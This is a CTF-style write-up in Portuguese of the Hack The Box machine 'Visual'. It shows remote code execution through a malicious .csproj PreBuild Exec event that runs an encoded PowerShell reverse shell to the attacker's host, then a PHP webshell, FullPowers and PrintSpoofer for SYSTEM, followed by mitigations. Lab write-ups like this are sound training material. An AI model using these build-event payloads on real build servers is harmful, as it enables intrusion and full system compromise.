Visual
Introdução
Máquina Visual do Hack The Box, dificuldade Medium, sistema operacional Windows.
IP alvo: 10.10.11.234
A aplicação web é uma espécie de “build server” que recebe uma URL de repositório Git, clona o projeto e compila uma solução .NET/Visual Studio. Toda a exploração gira em torno de abusar desse fluxo de compilação para conseguir execução remota de código.
Escaneamento
Comecei com um scan completo de portas usando nmap, pegando todas as portas abertas e depois rodando scripts/versões só nelas:
ports=$(sudo nmap --open -p- -Pn --min-rate=1000 -T4 10.10.11.234 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && sudo nmap -Pn -sC -sV -p $ports 10.10.11.234
O nmap identificou três portas abertas: 80/http e uma porta de NFS.
Enumeração
Porta 80 — aplicação web
Acessando http://10.10.11.234, a página mostra a descrição da aplicação:
Logo abaixo existe um campo para submeter uma URL de repositório Git:
Submeti a URL http://10.10.14.11/ (minha máquina) e recebi a conexão no listener:
Ou seja, no backend a aplicação executa um git clone da URL fornecida e depois tenta compilar o projeto — esse é o comportamento que vou abusar na fase de exploração.
Exploração
RCE via evento de build do Visual Studio (arquivo .csproj)
A aplicação web compila projetos de Visual Studio recebidos via Git. Existe uma funcionalidade legítima do MSBuild que permite definir eventos de pré/pós-build dentro do arquivo .csproj, via a tag <Exec Command="...">. Como a aplicação clona e compila qualquer repositório que eu enviar, basta colocar um comando malicioso nesse evento de build para conseguir execução remota de código no servidor no momento da compilação.
Referência da funcionalidade abusada (documentação oficial da Microsoft sobre build events):
https://learn.microsoft.com/pt-br/visualstudio/ide/how-to-specify-build-events-csharp?view=vs-2022

Preparando o servidor Gitea próprio
Como a aplicação faz git clone de uma URL arbitrária, preciso hospedar meu próprio repositório malicioso em um servidor Git que eu controle. Usei o Gitea via Docker, seguindo o guia oficial de instalação rootless:
https://docs.gitea.com/installation/install-with-docker-rootless/#basics
Servidor Gitea funcionando.
Criando o payload e obtendo shell
Criei um projeto .NET básico localmente, gerando os arquivos .sln e .csproj:
dotnet new sln -n visual-htb
dotnet new console -n visual-htb
dotnet sln visual-htb.sln add visual-htb/visual-htb.csproj
Com o .sln e o .csproj prontos, subi o repositório para o meu Gitea:
git init
git checkout -b main
git add .
git commit -m "abc"
git remote add origin http://localhost:3000/etern4lw0lf/visual-htb.git
git push -u origin main
Editei o .csproj para injetar o payload no evento PreBuild:
visual-htb.csproj
<Project Sdk="Microsoft.Net.Sdk">
<PropertyGroup>
<TargetFramework>net8.0</TargetFramework>
</PropertyGroup>
<Target Name="PreBuild" BeforeTargets="PreBuildEvent">
<Exec Command="powershell -e <payload base64 - reverse shell PowerShell para 10.10.14.11:443>" />
</Target>
</Project>
O comando é um one-liner de reverse shell em PowerShell (codificado em base64 com -e), apontando para minha máquina de ataque na porta 443.
Com o payload commitado e enviado ao Gitea, submeti a URL do meu repositório no formulário da aplicação: http://10.10.14.11:3000/etern4lw0lf/visual-htb.git
Quando o servidor clona e compila o projeto, o evento PreBuild dispara o comando PowerShell e recebo a shell reversa como o usuário de serviço que roda a aplicação.
Resumo do ataque:
- Criar um repositório C# básico com um evento
PreBuildmalicioso no arquivo.csproj - Hospedar esse repositório em uma instância própria do Gitea
- Submeter a URL do repositório no formulário da aplicação em visual.htb
- Aguardar a conexão da reverse shell quando o servidor compila o projeto
Pós-exploração
Elevação de privilégios
Já com shell no sistema, verifiquei as permissões da minha conta de serviço e constatei que tinha permissão de escrita na pasta C:\xampp\htdocs:
Essa pasta é a raiz de um segundo site rodando em PHP via XAMPP. Como tenho escrita nela, enviei uma webshell/reverse shell em PHP para lá.
Consegui acesso ao sistema com esse usuário. A partir daí, usei o FullPowers para restaurar todos os privilégios padrão do token da conta de serviço (que normalmente vêm reduzidos quando ela roda como serviço).
Com SeImpersonatePrivilege habilitado no token, consegui abusar dele com o PrintSpoofer para chegar a NT AUTHORITY\SYSTEM:
https://github.com/dievus/printspoofer/blob/master/PrintSpoofer.exe
(As notas originais não detalham o comando exato de execução do PrintSpoofer nem a captura da flag final — só o fato de ter sido usado para chegar a SYSTEM.)
Anexos
nmap— descoberta de portas e serviços- Gitea (Docker, modo rootless) — servidor Git próprio para hospedar o payload
- .NET SDK (
dotnet) — geração dos arquivos.sln/.csprojdo projeto malicioso - Payload PowerShell reverse shell (codificado em base64, executado via
-e) embutido no eventoPreBuilddo.csproj - Webshell/reverse shell em PHP — enviada para
C:\xampp\htdocs - FullPowers — restauração de privilégios completos do token de serviço
- PrintSpoofer (link) — abuso de
SeImpersonatePrivilegepara virar SYSTEM
Mitigação
- Build server que compila repositórios arbitrários: nunca clonar/compilar automaticamente projetos vindos de URLs fornecidas por usuários não confiáveis. Se for necessário, compilar em um ambiente totalmente isolado (container efêmero, sem rede para a rede interna, sem privilégios), e desabilitar/filtrar eventos de build (
PreBuild/PostBuild/<Exec>) no MSBuild antes de compilar código não confiável. - MSBuild
<Exec>em ****.csproj: tratar arquivos de projeto como código executável. Restringir ou sanitizar a permissão de definir eventos de build em pipelines de CI/build-as-a-service. - Permissão de escrita em
C:\xampp\htdocspela conta de serviço: aplicar princípio do menor privilégio — a conta de serviço que roda a aplicação de build não deveria ter permissão de escrita na raiz de outro site (XAMPP/PHP) hospedado na mesma máquina. Revisar ACLs da pasta. - Token de serviço com ****
SeImpersonatePrivilege: evitar rodar serviços com privilégios de impersonation desnecessários. Onde não for possível remover o privilégio, manter o sistema atualizado e monitorar o uso de ferramentas como PrintSpoofer/RoguePotato/GodPotato via EDR. - Segregação de serviços: evitar hospedar múltiplas aplicações (build server .NET e site PHP via XAMPP) na mesma máquina/mesmo usuário de serviço, para limitar movimentação lateral entre elas.